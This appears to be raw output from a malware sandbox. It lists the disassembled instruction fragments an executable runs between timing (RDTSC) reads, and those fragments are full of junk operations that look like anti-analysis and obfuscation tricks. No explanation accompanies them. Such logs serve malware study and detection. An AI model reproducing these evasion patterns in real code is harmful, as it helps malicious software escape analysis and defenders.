Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DC4FA second address: 15DC566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F63F87E5458h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 or si, F54Eh 0x00000027 push 00000000h 0x00000029 ja 00007F63F87E5456h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F63F87E5458h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b xor di, 1D40h 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F63F87E5461h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DFB18 second address: 15DFB84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F63F87E337Ch 0x0000000b jl 00007F63F87E3376h 0x00000011 popad 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F63F87E3378h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f sub edi, 6198319Ch 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F63F87E3378h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000014h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 xchg eax, esi 0x00000052 push ecx 0x00000053 jnp 00007F63F87E3378h 0x00000059 push esi 0x0000005a pop esi 0x0000005b pop ecx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push ebx 0x00000061 pop ebx 0x00000062 pop eax 0x00000063 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15DFB84 second address: 15DFB9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63F87E5464h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E0B2F second address: 15E0B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E1A7E second address: 15E1A82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E0DF6 second address: 15E0DFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E2AE6 second address: 15E2B5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 jmp 00007F63F87E5464h 0x0000000c nop 0x0000000d sub dword ptr [ebp+124548A2h], edi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F63F87E5458h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007F63F87E5458h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 0000001Dh 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 0x0000004b movsx ebx, dx 0x0000004e push eax 0x0000004f push eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E3AA6 second address: 15E3AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E2D71 second address: 15E2D75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E3AAB second address: 15E3B0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E337Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub bx, 0391h 0x00000011 mov edi, dword ptr [ebp+122D38EDh] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F63F87E3378h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 mov di, 64F5h 0x00000037 push 00000000h 0x00000039 xor ebx, 184AED77h 0x0000003f mov ebx, esi 0x00000041 xchg eax, esi 0x00000042 jng 00007F63F87E337Eh 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E3B0D second address: 15E3B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E4BCD second address: 15E4C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F63F87E337Eh 0x0000000d jnp 00007F63F87E3378h 0x00000013 popad 0x00000014 nop 0x00000015 movzx edi, si 0x00000018 push 00000000h 0x0000001a mov ebx, dword ptr [ebp+122D3915h] 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ecx 0x00000025 call 00007F63F87E3378h 0x0000002a pop ecx 0x0000002b mov dword ptr [esp+04h], ecx 0x0000002f add dword ptr [esp+04h], 00000016h 0x00000037 inc ecx 0x00000038 push ecx 0x00000039 ret 0x0000003a pop ecx 0x0000003b ret 0x0000003c je 00007F63F87E3379h 0x00000042 movzx ebx, dx 0x00000045 xchg eax, esi 0x00000046 pushad 0x00000047 jmp 00007F63F87E337Eh 0x0000004c push eax 0x0000004d push edx 0x0000004e jc 00007F63F87E3376h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E3CF4 second address: 15E3CF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E3CF9 second address: 15E3CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E4C39 second address: 15E4C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E4C46 second address: 15E4C4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E4C4B second address: 15E4C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1591A2E second address: 1591A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jns 00007F63F87E3378h 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1591A40 second address: 1591A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F63F87E5456h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1591A54 second address: 1591A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F63F87E3376h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1591A5F second address: 1591A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F63F87E5456h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1591A6A second address: 1591A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1591A73 second address: 1591A79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E82C9 second address: 15E82CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E82CD second address: 15E82D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E82D3 second address: 15E82D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E82D8 second address: 15E82DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E917A second address: 15E9197 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F63F87E337Ch 0x00000008 jne 00007F63F87E3376h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 js 00007F63F87E3376h 0x0000001a push eax 0x0000001b pop eax 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15EC2C3 second address: 15EC2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15EC2C7 second address: 15EC2CC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15EC2CC second address: 15EC327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnc 00007F63F87E546Bh 0x0000000e nop 0x0000000f mov dword ptr [ebp+1246DD81h], eax 0x00000015 push 00000000h 0x00000017 stc 0x00000018 mov ebx, dword ptr [ebp+122D245Fh] 0x0000001e push 00000000h 0x00000020 jmp 00007F63F87E5463h 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 jp 00007F63F87E545Ch 0x0000002d ja 00007F63F87E5456h 0x00000033 pushad 0x00000034 push esi 0x00000035 pop esi 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E93F8 second address: 15E9412 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3380h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E9412 second address: 15E9418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E9418 second address: 15E941D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15E842F second address: 15E84D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F63F87E545Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+1244DF2Ah], esi 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F63F87E5458h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 mov edi, dword ptr [ebp+122D2F83h] 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 push 00000000h 0x00000044 push ecx 0x00000045 call 00007F63F87E5458h 0x0000004a pop ecx 0x0000004b mov dword ptr [esp+04h], ecx 0x0000004f add dword ptr [esp+04h], 00000015h 0x00000057 inc ecx 0x00000058 push ecx 0x00000059 ret 0x0000005a pop ecx 0x0000005b ret 0x0000005c movzx ebx, dx 0x0000005f mov ebx, 651AC745h 0x00000064 mov eax, dword ptr [ebp+122D0E45h] 0x0000006a sub dword ptr [ebp+122D2A13h], ecx 0x00000070 push FFFFFFFFh 0x00000072 sbb bx, 532Dh 0x00000077 nop 0x00000078 jmp 00007F63F87E5469h 0x0000007d push eax 0x0000007e je 00007F63F87E545Eh 0x00000084 push esi 0x00000085 push eax 0x00000086 push edx 0x00000087 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15EA4BF second address: 15EA4E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63F87E3387h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d js 00007F63F87E3376h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15EA4E5 second address: 15EA4EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F63F87E5456h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15EC4D5 second address: 15EC4E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F63F87E3376h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15EE41B second address: 15EE420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15EE420 second address: 15EE426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15ED4FB second address: 15ED557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push edx 0x00000009 call 00007F63F87E5458h 0x0000000e pop edx 0x0000000f mov dword ptr [esp+04h], edx 0x00000013 add dword ptr [esp+04h], 00000018h 0x0000001b inc edx 0x0000001c push edx 0x0000001d ret 0x0000001e pop edx 0x0000001f ret 0x00000020 mov dword ptr [ebp+124544E0h], ecx 0x00000026 push dword ptr fs:[00000000h] 0x0000002d mov di, 35CDh 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 clc 0x00000039 mov eax, dword ptr [ebp+122D0E19h] 0x0000003f sub dword ptr [ebp+1244DFB5h], eax 0x00000045 movzx ebx, bx 0x00000048 push FFFFFFFFh 0x0000004a sub dword ptr [ebp+122D1C42h], edi 0x00000050 push eax 0x00000051 push ecx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15ED557 second address: 15ED55B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15F80AB second address: 15F80B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15F8216 second address: 15F821C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15F836B second address: 15F8371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15F84A2 second address: 15F84BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F63F87E3384h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15FDB36 second address: 15FDB3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15FDB3A second address: 15FDB43 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15FDB43 second address: 15FDB50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15FDB50 second address: 15FDB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15FDB54 second address: 15FDB69 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F63F87E5456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15FDB69 second address: 15FDB6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15FDB6D second address: 15FDB73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15FDC86 second address: 15FDC90 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F63F87E3376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15FDC90 second address: 15FDCA8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F63F87E5458h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F63F87E5458h 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 158C826 second address: 158C84E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F63F87E3381h 0x0000000c pushad 0x0000000d jmp 00007F63F87E337Bh 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1603266 second address: 1603271 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007F63F87E5456h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16036B5 second address: 16036BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160382C second address: 1603832 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1603BB4 second address: 1603BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 js 00007F63F87E3376h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1603BC2 second address: 1603BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63F87E5462h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jo 00007F63F87E5456h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 1603BE6 second address: 1603BED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160BBF6 second address: 160BBFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160BBFA second address: 160BC03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160C124 second address: 160C12E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F63F87E5456h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160C12E second address: 160C13A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160C13A second address: 160C13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160C24F second address: 160C280 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F63F87E3376h 0x00000009 jmp 00007F63F87E337Fh 0x0000000e popad 0x0000000f push edx 0x00000010 jo 00007F63F87E3376h 0x00000016 pop edx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push edi 0x0000001a push esi 0x0000001b jmp 00007F63F87E337Ah 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160B2DD second address: 160B2ED instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F63F87E5456h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160B2ED second address: 160B2F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160FBE5 second address: 160FBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 160FBE9 second address: 160FBFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F63F87E337Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 16142AC second address: 16142B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D37CE second address: 15D37D3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D3E96 second address: 15D3E9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\QDQXUZhiY3.exe RDTSC instruction interceptor: First address: 15D3E9D second address: 15D3EA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
